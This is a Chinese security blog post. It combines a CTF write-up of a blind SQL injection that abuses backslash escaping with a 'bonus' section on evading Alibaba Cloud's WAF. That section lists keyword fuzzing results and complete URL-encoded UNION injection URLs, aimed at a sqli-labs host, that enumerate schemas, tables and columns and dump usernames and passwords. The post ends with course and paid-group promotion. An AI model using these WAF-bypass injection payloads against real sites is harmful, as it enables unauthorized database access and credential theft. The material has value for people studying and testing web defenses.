【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

admin 2023年8月1日12:12:51评论25 views字数 2367阅读7分53秒阅读模式

前言

今天,我们通过一道赛题来与大家分享sql注入的绕过技巧。大家在攻防中经常会遇到各种厂商开源或者商用的waf产品,那么“如何进行合理的绕过”其实是红队攻击人员必备的素养。【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

01    尝试初步注入,发现很多字符已被过滤。在burp进行 fuzz,暴力破解模块跑sql注入的关键字字典,我们发现基本注入的可能性为0。因为该过滤的字符都已被过滤完毕,没有过滤的按空格substr ascii ^。 【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式


02 扫描发现,robots.txt得到提示——hint.txt,访问 hint.txt。

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

此处知识点——是转义符,可以对’”进行转义,使其失去本来的特殊意义;同时,这里的是没有被过滤。

03    如果传入 username=admin password=123456#,就会变成:

select * from users where username='admin' and password='123456#';

可以理解为:

select * from users where username='admin and password=' 恶意代码 #';

post username=admin password=^(ascii(substr(password,1,1))>1000)#

04    开始进行构造初步payload。

【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

当 2>4 时,显示 girl friend;

当 2>1 时,显示 BJD needs to be stronger。


此时已经闭合成功。接下来就是直接查询密码即可,因为当前页面就是所调用的用户表,所以直接查询即可。

【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

05    当盲注 payload 里的ascii值>200时,页面回显如下。

【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

06    书写脚本即可。

【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

07    最终爆出密码为OhyOuFOuNdit,账号为admin。

登录即可获取flag。

彩蛋:绕过阿里云fuzz过程分享

当输入and 1=1拦截,waf处于生效状态。【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

1. 首先进行逻辑符与部分sql注入关键字判断。

and 1=1 拦截

and -1=-1 拦截

and 不拦截

xor 1 异常

xor 0 正常

%26 1=2 异常

%26 1=1 正常

%26 hex(1) 正常

%26 hex(0) 异常

and hex() 不拦截

order by 不拦截

order by 1 拦截

group by 1 不拦截

2. 完整SQL注入的攻击语法如下,可以使用%0A%20—进行绕过,并添加一些关键词。

sql攻击语法:

#获取所有数据库名称

http://cz.aliyun.lvluoyun.com:8080/Tkitn/sqli-labs-master/Less-1/index.php?id=-1%27%20UNION%0A%20-%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,concat%23%0a(schema_name)%20from%20%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_SCHEMA%0d%0a.schemata%20limit%204,1--+【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

#获取当前数据库表名称

Less-1/?id=-1%27%20UNION%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,concat(table_name)%20from%20%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_SCHEMA%0d%0a.tables%20where%20table_schema=database()%20limit%201,1--+

#获取users表所有字段

?id=-1%27%20UNION%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,concat(column_name)%20from%20%20/*like%22%0d%0a%20%2d%2d%20%0d%22*/%20%0d%0a%20INFORMATION_SCHEMA%0d%0a.columns%20where%20table_name='users'%20limit%200,1--+

#获取数据

?id=-1%27%20UNION%0A%20--%20%20%20%20%99%20%0A%0A%0ASELECT%201,2,concat(username,0x7e,password)%20from%20users%20limit%202,1--+

#通用用例列表:

【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式


福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

往期回顾

2022年度精选文章

SSRF研究笔记

xss研究笔记

dom-xss精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips


原文始发于微信公众号(迪哥讲事):【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月1日12:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术分享】SQL-FUZZ技巧及阿里云waf绕过方式https://cn-sec.com/archives/1923800.html

发表评论

匿名网友 填写信息